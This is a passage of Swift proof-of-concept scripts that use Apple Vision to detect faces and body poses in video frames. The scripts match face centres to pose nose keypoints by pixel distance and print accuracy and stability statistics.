print(" -------------|---------|-----------|-------|--------|------")
print(" Full frame | \(String(format: "%7.1f", fullStats.avg)) | \(String(format: "%9.1f", fullStats.median)) | \(String(format: "%5d", fullStats.under50)) | \(String(format: "%6d", fullStats.under100)) | \(fullDists.count)")
print(" 2x crop | \(String(format: "%7.1f", crop2xStats.avg)) | \(String(format: "%9.1f", crop2xStats.median)) | \(String(format: "%5d", crop2xStats.under50)) | \(String(format: "%6d", crop2xStats.under100)) | \(crop2xDists.count)")
print(" 4x crop | \(String(format: "%7.1f", crop4xStats.avg)) | \(String(format: "%9.1f", crop4xStats.median)) | \(String(format: "%5d", crop4xStats.under50)) | \(String(format: "%6d", crop4xStats.under100)) | \(crop4xDists.count)")
print()
// Conclusion
if fullStats.median < crop2xStats.median && fullStats.median < crop4xStats.median {
print("Conclusion: Full frame detection gives best matching accuracy")
} else if crop2xStats.median < fullStats.median && crop2xStats.median < crop4xStats.median {
print("Conclusion: 2x crop gives best matching accuracy")
} else {
print("Conclusion: 4x crop gives best matching accuracy")
}
}
let args = CommandLine.arguments
let videoPath = args.count >= 2 ? args[1] : "/Users/accusys/momentry/var/sftpgo/data/demo/Accusys-WD_FilmRiot_test.mp4"
let maxFrames = args.count > 2 ? Int(args[2]) ?? 300 : 300
await run(videoPath: videoPath, maxFrames: maxFrames)
experiments/face_pose_sync_poc/generate_pose_traced
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experiments/face_pose_sync_poc/generate_pose_traced.swift
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#!/opt/homebrew/bin/swift
/**
* Generate pose_traced.json from face_traced.json + pose.json
*
* 流程：
* 1. 讀取 face_traced.json（已有 trace_id）
* 2. 讀取 pose.json（有 body keypoints）
* 3. 對每個 frame，用 face bbox center 匹配 pose nose keypoint
* 4. 距離 < 50px 判定為同一人，賦予相同 trace_id
* 5. 輸出 pose_traced.json
*
* Usage: swift generate_pose_traced.swift --face-traced <face_traced.json> --pose <pose.json> --output <pose_traced.json>
*/
import Foundation
// MARK: - Data Models
struct FaceTraced: Codable {
let status: String
let frame_count: Int
let fps: Double
let frames: [FrameEntry]
let traces: [String: TraceEntry]
struct FrameEntry: Codable {
let frame_number: Int
let time_seconds: Double
let faces: [FaceInFrame]
}
struct FaceInFrame: Codable {
let face_number: Int
let trace_id: Int
let bbox: BBox
let confidence: Double
struct BBox: Codable {
let x: Int, y: Int, width: Int, height: Int
}
}
struct TraceEntry: Codable {
let path: [PathEntry]
struct PathEntry: Codable {
let frame: Int
let bbox: BBox
let confidence: Double
struct BBox: Codable {
let x: Int, y: Int, width: Int, height: Int
}
}
}
}
struct PoseJson: Codable {
let frame_count: Int
let fps: Double
let frames: [PoseFrame]
struct PoseFrame: Codable {
let frame: Int?
let timestamp: Double?
let persons: [PersonEntry]
struct PersonEntry: Codable {
let bbox: BBox?
let keypoints: [Keypoint]
struct BBox: Codable {
let x: Int, y: Int, width: Int, height: Int
}
struct Keypoint: Codable {
let name: String
let x: Double, y: Double
let confidence: Float
}
}
}
}
struct PoseTracedOutput: Codable {
let status: String
let frame_count: Int
let fps: Double
let frames: [PoseTracedFrame]
let trace_mapping: [String: TraceMapping]
let stats: Stats
struct PoseTracedFrame: Codable {
let frame_number: Int
let time_seconds: Double
let persons: [PersonInFrame]
}
struct PersonInFrame: Codable {
let person_index: Int
let trace_id: Int?
let bbox: BBox?
let keypoints: [Keypoint]
let match_distance: Double
struct BBox: Codable {
let x: Int, y: Int, width: Int, height: Int
}
struct Keypoint: Codable {
let name: String
let x: Double, y: Double
let confidence: Float
}
}
struct TraceMapping: Codable {
let trace_id: Int
let pose_count: Int
let frames: [Int]
}
struct Stats: Codable {
let total_frames: Int
let frames_with_pose: Int
let matched_poses: Int
let unmatched_poses: Int
let avg_distance: Double
let median_distance: Double
}
}
// MARK: - Matching
let threshold = 50.0
func generatePoseTraced(faceTraced: FaceTraced, poseJson: PoseJson) -> PoseTracedOutput {
// Build frame -> faces lookup from face_traced
var facesByFrame: [Int: [FaceTraced.FaceInFrame]] = [:]
for fe in faceTraced.frames {
facesByFrame[fe.frame_number] = fe.faces
}
var tracedFrames: [PoseTracedOutput.PoseTracedFrame] = []
var tracePoseCount: [Int: (count: Int, frames: Set<Int>)] = [:]
var allDistances: [Double] = []
var matchedCount = 0
var unmatchedCount = 0
for pf in poseJson.frames {
let fn = pf.frame ?? 0
let ts = pf.timestamp ?? 0.0
let facesInFrame = facesByFrame[fn] ?? []
var personsInFrame: [PoseTracedOutput.PersonInFrame] = []
var usedFaceIndices = Set<Int>()
for (poseIdx, person) in pf.persons.enumerated() {
// Find nose keypoint
let nose = person.keypoints.first(where: { $0.name.lowercased().contains("nose") })
var bestTraceId: Int? = nil
var bestDist = Double.infinity
if let nose = nose {
// Match to nearest face
for (faceIdx, face) in facesInFrame.enumerated() {
if usedFaceIndices.contains(faceIdx) { continue }
let fcx = Double(face.bbox.x + face.bbox.width / 2)
let fcy = Double(face.bbox.y + face.bbox.height / 2)
let dist = abs(fcx - nose.x) + abs(fcy - nose.y)
if dist < bestDist {
bestDist = dist
bestTraceId = face.trace_id
}
}
}
let isMatched = bestTraceId != nil && bestDist < threshold
if isMatched {
matchedCount += 1
usedFaceIndices.insert(usedFaceIndices.first(where: { _ in true }) ?? 0)
allDistances.append(bestDist)
// Update trace mapping
if let tid = bestTraceId {
var current = tracePoseCount[tid] ?? (count: 0, frames: [])
current.count += 1
current.frames.insert(fn)
tracePoseCount[tid] = current
}
} else {
unmatchedCount += 1
}
personsInFrame.append(PoseTracedOutput.PersonInFrame(
person_index: poseIdx,
trace_id: isMatched ? bestTraceId : nil,
bbox: person.bbox.map { PoseTracedOutput.PersonInFrame.BBox(x: $0.x, y: $0.y, width: $0.width, height: $0.height) },
keypoints: person.keypoints.map { PoseTracedOutput.PersonInFrame.Keypoint(name: $0.name, x: $0.x, y: $0.y, confidence: $0.confidence) },
match_distance: bestDist
))
}
tracedFrames.append(PoseTracedOutput.PoseTracedFrame(
frame_number: fn,
time_seconds: ts,
persons: personsInFrame
))
}
let sortedDists = allDistances.sorted()
let avgDist = sortedDists.isEmpty ? 0 : sortedDists.reduce(0, +) / Double(sortedDists.count)
let medianDist = sortedDists.isEmpty ? 0 : sortedDists[sortedDists.count / 2]
// Build trace mapping
var traceMapping: [String: PoseTracedOutput.TraceMapping] = [:]
for (tid, data) in tracePoseCount {
traceMapping["\(tid)"] = PoseTracedOutput.TraceMapping(
trace_id: tid,
pose_count: data.count,
frames: data.frames.sorted()
)
}
let stats = PoseTracedOutput.Stats(
total_frames: poseJson.frames.count,
frames_with_pose: poseJson.frames.filter { !$0.persons.isEmpty }.count,
matched_poses: matchedCount,
unmatched_poses: unmatchedCount,
avg_distance: avgDist,
median_distance: medianDist
)
return PoseTracedOutput(
status: faceTraced.status,
frame_count: faceTraced.frame_count,
fps: faceTraced.fps,
frames: tracedFrames,
trace_mapping: traceMapping,
stats: stats
)
}
// MARK: - Main
func run(faceTracedPath: String, posePath: String, outputPath: String) {
print("[PoseTraced] Loading face_traced.json: \(faceTracedPath)")
let faceTraced = try! JSONDecoder().decode(FaceTraced.self, from: Data(contentsOf: URL(fileURLWithPath: faceTracedPath)))
print("[PoseTraced] Loading pose.json: \(posePath)")
let poseJson = try! JSONDecoder().decode(PoseJson.self, from: Data(contentsOf: URL(fileURLWithPath: posePath)))
print("[PoseTraced] Matching face traces to poses (threshold: \(threshold)px)...")
let result = generatePoseTraced(faceTraced: faceTraced, poseJson: poseJson)
// Save output
let encoder = JSONEncoder()
encoder.outputFormatting = [.prettyPrinted, .sortedKeys]
let jsonData = try! encoder.encode(result)
try! jsonData.write(to: URL(fileURLWithPath: outputPath))
// Print summary
let s = result.stats
print("\n=== Pose Traced Generation Report ===")
print("Total frames: \(s.total_frames)")
print("Frames with pose: \(s.frames_with_pose)")
print()
print("Matching (threshold: \(threshold)px):")
print(" Matched poses: \(s.matched_poses)")
print(" Unmatched poses: \(s.unmatched_poses)")
print(" Match rate: \(s.matched_poses + s.unmatched_poses > 0 ? String(format: "%.1f%%", Double(s.matched_poses)/Double(s.matched_poses + s.unmatched_poses)*100) : "N/A")")
print()
print("Distance (face center ↔ pose nose):")
print(" Average: \(String(format: "%.1f", s.avg_distance))px")
print(" Median: \(String(format: "%.1f", s.median_distance))px")
print()
print("Trace mapping:")
for (tid, mapping) in result.trace_mapping.sorted(by: { Int($0.key)! < Int($1.key)! }) {
print(" trace_\(mapping.trace_id): \(mapping.pose_count) poses, frames \(mapping.frames.first ?? 0)-\(mapping.frames.last ?? 0)")
}
print("\nOutput saved to: \(outputPath)")
}
// Parse arguments
var faceTracedPath: String?
var posePath: String?
var outputPath: String?
let args = CommandLine.arguments
var i = 1
while i < args.count {
switch args[i] {
case "--face-traced": faceTracedPath = args[i+1]; i += 2
case "--pose": posePath = args[i+1]; i += 2
case "--output": outputPath = args[i+1]; i += 2
default: i += 1
}
}
guard let faceTracedPath = faceTracedPath, let posePath = posePath, let outputPath = outputPath else {
print("Usage: swift generate_pose_traced.swift --face-traced <face_traced.json> --pose <pose.json> --output <pose_traced.json>")
exit(1)
}
run(faceTracedPath: faceTracedPath, posePath: posePath, outputPath: outputPath)
experiments/face_pose_sync_poc/main.swift
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#!/opt/homebrew/bin/swift
/**
* Face-Pose Sync POC
*
* 使用 Apple Vision 在同一幀上同時檢測 face 和 pose
* 驗證兩者是否能正確同步並匹配
*
* Usage: swift main.swift <video_path> [max_frames]
*/
import Foundation
import AVFoundation
import Vision
// MARK: - Data Models
struct FaceResult: Codable {
let x: Int, y: Int, w: Int, h: Int
let confidence: Float
}
struct KeypointResult: Codable {
let name: String
let x: Double, y: Double
let confidence: Float
}
struct PoseResult: Codable {
let bbox: BBoxResult
let keypoints: [KeypointResult]
struct BBoxResult: Codable {
let x: Int, y: Int, w: Int, h: Int
}
}
struct FrameResult: Codable {
let frame: Int
let faceCount: Int
let poseCount: Int
let faces: [FaceResult]
let poses: [PoseResult]
}
struct Summary: Codable {
let totalFrames: Int
let framesWithFace: Int
let framesWithPose: Int
let framesWithBoth: Int
let syncRate: Double
let poseRecall: Double
let distanceCount: Int
let avgDistance: Double
let medianDistance: Double
let under50: Int, under100: Int, under150: Int, under200: Int, under300: Int
}
struct VideoInfo: Codable {
let width: Int, height: Int, fps: Double, duration: Double
}
struct Output: Codable {
let videoInfo: VideoInfo
let totalFrames: Int
let frames: [FrameResult]
let summary: Summary
}
// MARK: - Main
let args = CommandLine.arguments
guard args.count >= 2 else {
print("Usage: swift main.swift <video_path> [max_frames]")
exit(1)
}
let videoPath = args[1]
let maxFrames = args.count > 2 ? Int(args[2]) ?? 300 : 300
guard FileManager.default.fileExists(atPath: videoPath) else {
print("[ERROR] Video file not found: \(videoPath)")
exit(1)
}
print("[FacePoseSync] Loading video: \(videoPath)")
let url = URL(fileURLWithPath: videoPath)
let asset = AVURLAsset(url: url)
// Get video track
let tracks = try await asset.loadTracks(withMediaType: .video)
guard let track = tracks.first else {
print("[ERROR] No video track found")
exit(1)
}
// Get video properties
let formatDesc = try await track.load(.formatDescriptions).first
let cmDims = formatDesc.map { CMVideoFormatDescriptionGetDimensions($0) } ?? CMVideoDimensions(width: 1920, height: 1080)
let width = Int(cmDims.width)
let height = Int(cmDims.height)
let dur = try await asset.load(.duration)
let duration = CMTimeGetSeconds(dur)
let fps = try await track.load(.nominalFrameRate)
print("[FacePoseSync] Video: \(width)x\(height), \(fps)fps, \(String(format: "%.1f", duration))s")
print("[FacePoseSync] Analyzing up to \(maxFrames) frames...\n")
// Setup asset reader
let reader = try AVAssetReader(asset: asset)
let outputSettings: [String: Any] = [
kCVPixelBufferPixelFormatTypeKey as String: Int(kCVPixelFormatType_32BGRA)
]
let trackOutput = AVAssetReaderTrackOutput(track: track, outputSettings: outputSettings)
reader.add(trackOutput)
reader.startReading()
var frameResults: [FrameResult] = []
var frameIndex = 0
print("[FacePoseSync] Processing frames...")
while reader.status == .reading, let sampleBuffer = trackOutput.copyNextSampleBuffer() {
if frameIndex >= maxFrames { break }
guard let imageBuffer = CMSampleBufferGetImageBuffer(sampleBuffer) else {
frameIndex += 1
continue
}
// Run face and pose detection on the same frame
let (faces, poses) = await detectFaceAndPose(imageBuffer: imageBuffer, width: width, height: height)
let frameResult = FrameResult(
frame: frameIndex,
faceCount: faces.count,
poseCount: poses.count,
faces: faces,
poses: poses
)
frameResults.append(frameResult)
if frameIndex % 50 == 0 {
print(" Frame \(frameIndex): \(faces.count) faces, \(poses.count) poses")
}
frameIndex += 1
}
reader.cancelReading()
// Calculate summary
let totalFrames = frameResults.count
let framesWithFace = frameResults.filter { $0.faceCount > 0 }.count
let framesWithPose = frameResults.filter { $0.poseCount > 0 }.count
let framesWithBoth = frameResults.filter { $0.faceCount > 0 && $0.poseCount > 0 }.count
// Calculate face-pose distances using nearest-neighbor matching
var allDistances: [Double] = []
var matchedPairs = 0
var unmatchedFaces = 0
for fr in frameResults {
// For each face, find the closest pose nose
var usedPoses = Set<Int>()
for face in fr.faces {
let fcx = Double(face.x + face.w / 2)
let fcy = Double(face.y + face.h / 2)
var bestDist = Double.infinity
var bestPoseIdx = -1
for (idx, pose) in fr.poses.enumerated() {
if usedPoses.contains(idx) { continue }
if let nose = pose.keypoints.first(where: { $0.name.lowercased().contains("nose") }) {
let dist = abs(fcx - nose.x) + abs(fcy - nose.y)
if dist < bestDist {
bestDist = dist
bestPoseIdx = idx
}
}
}
if bestPoseIdx >= 0 && bestDist < 500 { // Threshold for valid match
allDistances.append(bestDist)
usedPoses.insert(bestPoseIdx)
matchedPairs += 1
} else {
unmatchedFaces += 1
}
}
}
let sortedDists = allDistances.sorted()
let avgDist = sortedDists.isEmpty ? 0.0 : sortedDists.reduce(0, +) / Double(sortedDists.count)
let medianDist = sortedDists.isEmpty ? 0.0 : sortedDists[sortedDists.count / 2]
let syncRate = framesWithFace > 0 ? Double(framesWithBoth) / Double(framesWithFace) : 0
let poseRecall = framesWithFace > 0 ? Double(framesWithBoth) / Double(framesWithFace) : 0
let summary = Summary(
totalFrames: totalFrames,
framesWithFace: framesWithFace,
framesWithPose: framesWithPose,
framesWithBoth: framesWithBoth,
syncRate: syncRate,
poseRecall: poseRecall,
distanceCount: allDistances.count,
avgDistance: avgDist,
medianDistance: medianDist,
under50: allDistances.filter { $0 < 50 }.count,
under100: allDistances.filter { $0 < 100 }.count,
under150: allDistances.filter { $0 < 150 }.count,
under200: allDistances.filter { $0 < 200 }.count,
under300: allDistances.filter { $0 < 300 }.count
)
// Add matching stats to output
let matchingInfo = """
Matching Analysis:
Matched pairs: \(matchedPairs)
Unmatched faces: \(unmatchedFaces)
Match rate: \(totalFrames > 0 ? String(format: "%.1f%%", Double(matchedPairs) / Double(framesWithFace) * 100) : "N/A")
"""
let videoInfo = VideoInfo(width: width, height: height, fps: Double(fps), duration: duration)
let output = Output(videoInfo: videoInfo, totalFrames: totalFrames, frames: frameResults, summary: summary)
// Save result
let encoder = JSONEncoder()
encoder.outputFormatting = [.prettyPrinted, .sortedKeys]
let jsonData = try encoder.encode(output)
let outputDir = "experiments/face_pose_sync_poc/output"
try FileManager.default.createDirectory(atPath: outputDir, withIntermediateDirectories: true)
let outputPath = "\(outputDir)/result.json"
try jsonData.write(to: URL(fileURLWithPath: outputPath))
func pct(_ n: Int, _ total: Int) -> String {
guard total > 0 else { return "0.0%" }
return String(format: "%.1f%%", Double(n) / Double(total) * 100)
}
// Print summary report
print("\n" + String(repeating: "=", count: 50))
print(" Face-Pose Sync Analysis Report")
print(String(repeating: "=", count: 50))
print("Video: \(width)x\(height), \(fps)fps, \(String(format: "%.1f", duration))s")
print("Frames analyzed: \(totalFrames)")
print()
print("Detection Stats:")
print(" Frames with face: \(framesWithFace) (\(pct(framesWithFace, totalFrames)))")
print(" Frames with pose: \(framesWithPose) (\(pct(framesWithPose, totalFrames)))")
print(" Frames with both: \(framesWithBoth) (\(pct(framesWithBoth, totalFrames)))")
print()
print("Sync Analysis:")
print(" Sync Rate (both/face): \(String(format: "%.1f%%", syncRate * 100))")
print(" Pose Recall: \(String(format: "%.1f%%", poseRecall * 100))")
print()
print("Distance (face center ↔ pose nose):")
print(" Total pairs: \(allDistances.count)")
print(" Average: \(String(format: "%.1f", avgDist))px")
print(" Median: \(String(format: "%.1f", medianDist))px")
print()
print(" Distance Distribution:")
print(" < 50px: \(summary.under50) (\(pct(summary.under50, max(1, summary.distanceCount)))")
print(" < 100px: \(summary.under100) (\(pct(summary.under100, max(1, summary.distanceCount)))")
print(" < 150px: \(summary.under150) (\(pct(summary.under150, max(1, summary.distanceCount)))")
print(" < 200px: \(summary.under200) (\(pct(summary.under200, max(1, summary.distanceCount)))")
print(" < 300px: \(summary.under300) (\(pct(summary.under300, max(1, summary.distanceCount)))")
print("\nResult saved to: \(outputPath)")
// MARK: - Detection Function
func detectFaceAndPose(imageBuffer: CVPixelBuffer, width: Int, height: Int) async -> ([FaceResult], [PoseResult]) {
let handler = VNImageRequestHandler(cvPixelBuffer: imageBuffer, options: [:])
let faceRequest = VNDetectFaceRectanglesRequest()
let poseRequest = VNDetectHumanBodyPoseRequest()
var faces: [FaceResult] = []
var poses: [PoseResult] = []
do {
try handler.perform([faceRequest, poseRequest])
// Process face results
if let faceObservations = faceRequest.results {
for obs in faceObservations {
let rect = obs.boundingBox
let x = Int(rect.origin.x * Double(width))
let y = Int((1 - rect.origin.y - rect.height) * Double(height))
let w = Int(rect.width * Double(width))
let h = Int(rect.height * Double(height))
faces.append(FaceResult(x: x, y: y, w: w, h: h, confidence: obs.confidence))
}
}
// Process pose results
if let poseObservations = poseRequest.results as? [VNHumanBodyPoseObservation] {
let jointNames: [VNHumanBodyPoseObservation.JointName] = [
.nose, .leftEye, .rightEye, .leftEar, .rightEar,
.leftShoulder, .rightShoulder, .leftElbow, .rightElbow,
.leftWrist, .rightWrist, .leftHip, .rightHip,
.leftKnee, .rightKnee, .leftAnkle, .rightAnkle
]
for obs in poseObservations {
var minX = Double.infinity, minY = Double.infinity
var maxX = -Double.infinity, maxY = -Double.infinity
var keypoints: [KeypointResult] = []
for jointName in jointNames {
let point = try? obs.recognizedPoint(jointName)
if let point = point, point.confidence > 0.3 {
let px = point.location.x * Double(width)
let py = (1 - point.location.y) * Double(height)
minX = min(minX, px)
minY = min(minY, py)
maxX = max(maxX, px)
maxY = max(maxY, py)
// Convert JointName to string
let name: String
switch jointName {
case .nose: name = "nose"
case .leftEye: name = "leftEye"
case .rightEye: name = "rightEye"
case .leftEar: name = "leftEar"
case .rightEar: name = "rightEar"
case .leftShoulder: name = "leftShoulder"
case .rightShoulder: name = "rightShoulder"
case .leftElbow: name = "leftElbow"
case .rightElbow: name = "rightElbow"
case .leftWrist: name = "leftWrist"
case .rightWrist: name = "rightWrist"
case .leftHip: name = "leftHip"
case .rightHip: name = "rightHip"
case .leftKnee: name = "leftKnee"
case .rightKnee: name = "rightKnee"
case .leftAnkle: name = "leftAnkle"
case .rightAnkle: name = "rightAnkle"
default: name = "unknown"
}
keypoints.append(KeypointResult(
name: name,
x: px, y: py,
confidence: point.confidence
))
}
}
if !keypoints.isEmpty {
let pad = 20
let bbox = PoseResult.BBoxResult(
x: Int(max(0, minX - Double(pad))),
y: Int(max(0, minY - Double(pad))),
w: Int(maxX - minX + Double(pad * 2)),
h: Int(maxY - minY + Double(pad * 2))
)
poses.append(PoseResult(bbox: bbox, keypoints: keypoints))
}
}
}
} catch {
// Silent fail for individual frames
}
return (faces, poses)
}
experiments/face_pose_sync_poc/match_face_pose.swift
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#!/opt/homebrew/bin/swift
/**
* Face-to-Pose Matcher
*
* 用 face.json 的 face bbox 去找 pose.json 對應的 pose
* 匹配規則：face center ↔ pose nose 距離 < 50px
*
* Usage: swift match_face_pose.swift --face <face.json> --pose <pose.json> --output <output.json>
*/
import Foundation
// MARK: - Data Models
struct FaceData: Codable {
let frame: Int
let faces: [FaceEntry]
struct FaceEntry: Codable {
let x: Int, y: Int, width: Int, height: Int
let confidence: Float
let pose_angle: PoseAngle?
struct PoseAngle: Codable {
let yaw: Float, pitch: Float, roll: Float
}
}
}
struct PoseData: Codable {
let frames: [PoseFrame]
struct PoseFrame: Codable {
let frame: Int?
let timestamp: Double?
let persons: [PersonEntry]
struct PersonEntry: Codable {
let bbox: BBox?
let keypoints: [Keypoint]
struct BBox: Codable {
let x: Int, y: Int, width: Int, height: Int
}
struct Keypoint: Codable {
let name: String
let x: Double, y: Double
let confidence: Float
}
}
}
}
struct MatchedOutput: Codable {
let videoFrames: [MatchedFrame]
let stats: MatchStats
struct MatchedFrame: Codable {
let frame: Int
let faceCount: Int
let poseCount: Int
let matches: [Match]
struct Match: Codable {
let faceIdx: Int
let poseIdx: Int?
let distance: Double
let matched: Bool
}
}
struct MatchStats: Codable {
let totalFrames: Int
let framesWithFace: Int
let framesWithPose: Int
let matchedPairs: Int
let unmatchedFaces: Int
let avgDistance: Double
let medianDistance: Double
let under50: Int, under100: Int
}
}
// MARK: - Matching Logic
let threshold = 50.0 // px
func matchFacesToPoses(faceData: FaceData, poseFrames: [PoseData.PoseFrame]) -> MatchedOutput {
// Build frame -> poses lookup
var poseByFrame: [Int: [PoseData.PoseFrame.PersonEntry]] = [:]
for pf in poseFrames {
if let fn = pf.frame {
poseByFrame[fn] = pf.persons
}
}
var matchedFrames: [MatchedOutput.MatchedFrame] = []
var allDistances: [Double] = []
var totalMatched = 0
var totalUnmatched = 0
for faceFrame in faceData.faces {
let fn = faceFrame.frame
let poses = poseByFrame[fn] ?? []
var matches: [MatchedOutput.MatchedFrame.Match] = []
var usedPoseIndices = Set<Int>()
for (faceIdx, face) in faceFrame.faces.enumerated() {
let fcx = Double(face.x + face.width / 2)
let fcy = Double(face.y + face.height / 2)
var bestDist = Double.infinity
var bestPoseIdx: Int? = nil
for (poseIdx, person) in poses.enumerated() {
if usedPoseIndices.contains(poseIdx) { continue }
// Find nose keypoint
let nose = person.keypoints.first(where: { $0.name.lowercased().contains("nose") })
guard let nose = nose else { continue }
let dist = abs(fcx - nose.x) + abs(fcy - nose.y)
if dist < bestDist {
bestDist = dist
bestPoseIdx = poseIdx
}
}
let isMatched = bestPoseIdx != nil && bestDist < threshold
if isMatched {
totalMatched += 1
usedPoseIndices.insert(bestPoseIdx!)
allDistances.append(bestDist)
} else {
totalUnmatched += 1
}
matches.append(MatchedOutput.MatchedFrame.Match(
faceIdx: faceIdx,
poseIdx: bestPoseIdx,
distance: bestDist,
matched: isMatched
))
}
matchedFrames.append(MatchedOutput.MatchedFrame(
frame: fn,
faceCount: faceFrame.faces.count,
poseCount: poses.count,
matches: matches
))
}
let sortedDists = allDistances.sorted()
let avgDist = sortedDists.isEmpty ? 0 : sortedDists.reduce(0, +) / Double(sortedDists.count)
let medianDist = sortedDists.isEmpty ? 0 : sortedDists[sortedDists.count / 2]
let stats = MatchedOutput.MatchStats(
totalFrames: faceData.faces.count,
framesWithFace: faceData.faces.filter { !$0.faces.isEmpty }.count,
framesWithPose: faceData.faces.filter { (poseByFrame[$0.frame] ?? []).count > 0 }.count,
matchedPairs: totalMatched,
unmatchedFaces: totalUnmatched,
avgDistance: avgDist,
medianDistance: medianDist,
under50: allDistances.filter { $0 < 50 }.count,
under100: allDistances.filter { $0 < 100 }.count
)
return MatchedOutput(videoFrames: matchedFrames, stats: stats)
}
// MARK: - Main
func run(facePath: String, posePath: String, outputPath: String) {
print("[FacePoseMatcher] Loading face.json: \(facePath)")
let faceData = try! JSONDecoder().decode(FaceData.self, from: Data(contentsOf: URL(fileURLWithPath: facePath)))
print("[FacePoseMatcher] Loading pose.json: \(posePath)")
let poseData = try! JSONDecoder().decode(PoseData.self, from: Data(contentsOf: URL(fileURLWithPath: posePath)))
print("[FacePoseMatcher] Matching with threshold: \(threshold)px...")
let result = matchFacesToPoses(faceData: faceData, poseFrames: poseData.frames)
// Save output
let encoder = JSONEncoder()
encoder.outputFormatting = [.prettyPrinted, .sortedKeys]
let jsonData = try! encoder.encode(result)
try! jsonData.write(to: URL(fileURLWithPath: outputPath))
// Print summary
let s = result.stats
print("\n=== Face-Pose Matching Report ===")
print("Total frames: \(s.totalFrames)")
print("Frames with face: \(s.framesWithFace)")
print("Frames with pose: \(s.framesWithPose)")
print()
print("Matching (threshold: \(threshold)px):")
print(" Matched pairs: \(s.matchedPairs)")
print(" Unmatched faces: \(s.unmatchedFaces)")
print(" Match rate: \(s.totalFrames > 0 ? String(format: "%.1f%%", Double(s.matchedPairs)/Double(s.framesWithFace)*100) : "N/A")")
print()
print("Distance (face center ↔ pose nose):")
print(" Average: \(String(format: "%.1f", s.avgDistance))px")
print(" Median: \(String(format: "%.1f", s.medianDistance))px")
print(" < 50px: \(s.under50) (\(s.matchedPairs > 0 ? String(format: "%.1f%%", Double(s.under50)/Double(s.matchedPairs)*100) : "N/A"))")
print(" < 100px: \(s.under100) (\(s.matchedPairs > 0 ? String(format: "%.1f%%", Double(s.under100)/Double(s.matchedPairs)*100) : "N/A"))")
print("\nOutput saved to: \(outputPath)")
}
// Parse arguments
var facePath: String?
var posePath: String?
var outputPath: String?
let args = CommandLine.arguments
var i = 1
while i < args.count {
switch args[i] {
case "--face": facePath = args[i+1]; i += 2
case "--pose": posePath = args[i+1]; i += 2
case "--output": outputPath = args[i+1]; i += 2
default: i += 1
}
}
guard let facePath = facePath, let posePath = posePath, let outputPath = outputPath else {
print("Usage: swift match_face_pose.swift --face <face.json> --pose <pose.json> --output <output.json>")
exit(1)
}
run(facePath: facePath, posePath: posePath, outputPath: outputPath)
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experiments/face_pose_sync_poc/stability_test.swift
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#!/opt/homebrew/bin/swift
/**
* Frame Stability Test
*
* 分開跑 face 和 pose 各 100 次，驗證結果是否穩定
*
* Usage: swift stability_test.swift <video_path> [test_frame]
*/
import Foundation
import AVFoundation
import Vision
let args = CommandLine.arguments
guard args.count >= 2 else {
print("Usage: swift stability_test.swift <video_path> [test_frame]")
exit(1)
}
let videoPath = args[1]
let testFrame = args.count > 2 ? Int(args[2]) ?? 50 : 50
print("[StabilityTest] Video: \(videoPath)")
print("[StabilityTest] Testing frame: \(testFrame)")
// Extract target frame
let url = URL(fileURLWithPath: videoPath)
let asset = AVURLAsset(url: url)
let tracks = try await asset.loadTracks(withMediaType: .video)
guard let track = tracks.first else { exit(1) }
let reader = try AVAssetReader(asset: asset)
let outputSettings: [String: Any] = [kCVPixelBufferPixelFormatTypeKey as String: Int(kCVPixelFormatType_32BGRA)]
let trackOutput = AVAssetReaderTrackOutput(track: track, outputSettings: outputSettings)
reader.add(trackOutput)
reader.startReading()
var targetBuffer: CVPixelBuffer?
var frameIdx = 0
while let sb = trackOutput.copyNextSampleBuffer() {
if frameIdx == testFrame {
targetBuffer = CMSampleBufferGetImageBuffer(sb)
break
}
frameIdx += 1
}
reader.cancelReading()
guard let imageBuffer = targetBuffer else {
print("[ERROR] Frame \(testFrame) not found")
exit(1)
}
let width = CVPixelBufferGetWidth(imageBuffer)
let height = CVPixelBufferGetHeight(imageBuffer)
print("[StabilityTest] Frame size: \(width)x\(height)")
// Run face detection N times
func runFaceDetection() -> [FaceResult] {
let handler = VNImageRequestHandler(cvPixelBuffer: imageBuffer, options: [:])
let request = VNDetectFaceRectanglesRequest()
var results: [FaceResult] = []
do {
try handler.perform([request])
if let observations = request.results {
for obs in observations {
let rect = obs.boundingBox
results.append(FaceResult(
x: Int(rect.origin.x * Double(width)),
y: Int((1 - rect.origin.y - rect.height) * Double(height)),
w: Int(rect.width * Double(width)),
h: Int(rect.height * Double(height)),
confidence: obs.confidence
))
}
}
} catch { print(" Face error: \(error)") }
return results
}
// Run pose detection N times
func runPoseDetection() -> [PoseResult] {
let handler = VNImageRequestHandler(cvPixelBuffer: imageBuffer, options: [:])
let request = VNDetectHumanBodyPoseRequest()
var results: [PoseResult] = []
do {
try handler.perform([request])
if let observations = request.results as? [VNHumanBodyPoseObservation] {
for obs in observations {
var minX = Double.infinity, minY = Double.infinity
var maxX = -Double.infinity, maxY = -Double.infinity
var noseX: Double = 0, noseY: Double = 0
var hasNose = false
let joints: [VNHumanBodyPoseObservation.JointName] = [.nose, .leftEye, .rightEye, .leftShoulder, .rightShoulder]
for jn in joints {
if let pt = try? obs.recognizedPoint(jn), pt.confidence > 0.3 {
let px = pt.location.x * Double(width)
let py = (1 - pt.location.y) * Double(height)
minX = min(minX, px); minY = min(minY, py)
maxX = max(maxX, px); maxY = max(maxY, py)
if jn == .nose { noseX = px; noseY = py; hasNose = true }
}
}
if hasNose {
let pad = 20
results.append(PoseResult(
x: Int(max(0, minX - Double(pad))),
y: Int(max(0, minY - Double(pad))),
w: Int(maxX - minX + Double(pad * 2)),
h: Int(maxY - minY + Double(pad * 2)),
noseX: noseX, noseY: noseY
))
}
}
}
} catch { print(" Pose error: \(error)") }
return results
}
struct FaceResult { let x: Int, y: Int, w: Int, h: Int, confidence: Float }
struct PoseResult { let x: Int, y: Int, w: Int, h: Int, noseX: Double, noseY: Double }
// Run 100 times each
let runs = 100
print("\n[StabilityTest] Running \(runs) iterations each...\n")
var faceResults: [[FaceResult]] = []
var poseResults: [[PoseResult]] = []
for i in 0..<runs {
if i % 20 == 0 { print(" Run \(i)/\(runs)...") }
faceResults.append(runFaceDetection())
poseResults.append(runPoseDetection())
}
// Analyze face results
print("\n=== Face Detection Stability (\(runs) runs) ===")
let faceCounts = faceResults.map { $0.count }
let uniqueFaceCounts = Set(faceCounts)
print(" Face counts: \(uniqueFaceCounts.sorted())")
print(" Consistent: \(uniqueFaceCounts.count == 1 ? "YES" : "NO")")
// Check bbox stability
if let firstFace = faceResults.first?.first {
var xVariance: [Int] = [], yVariance: [Int] = [], wVariance: [Int] = [], hVariance: [Int] = []
for run in faceResults {
if let f = run.first {
xVariance.append(abs(f.x - firstFace.x))
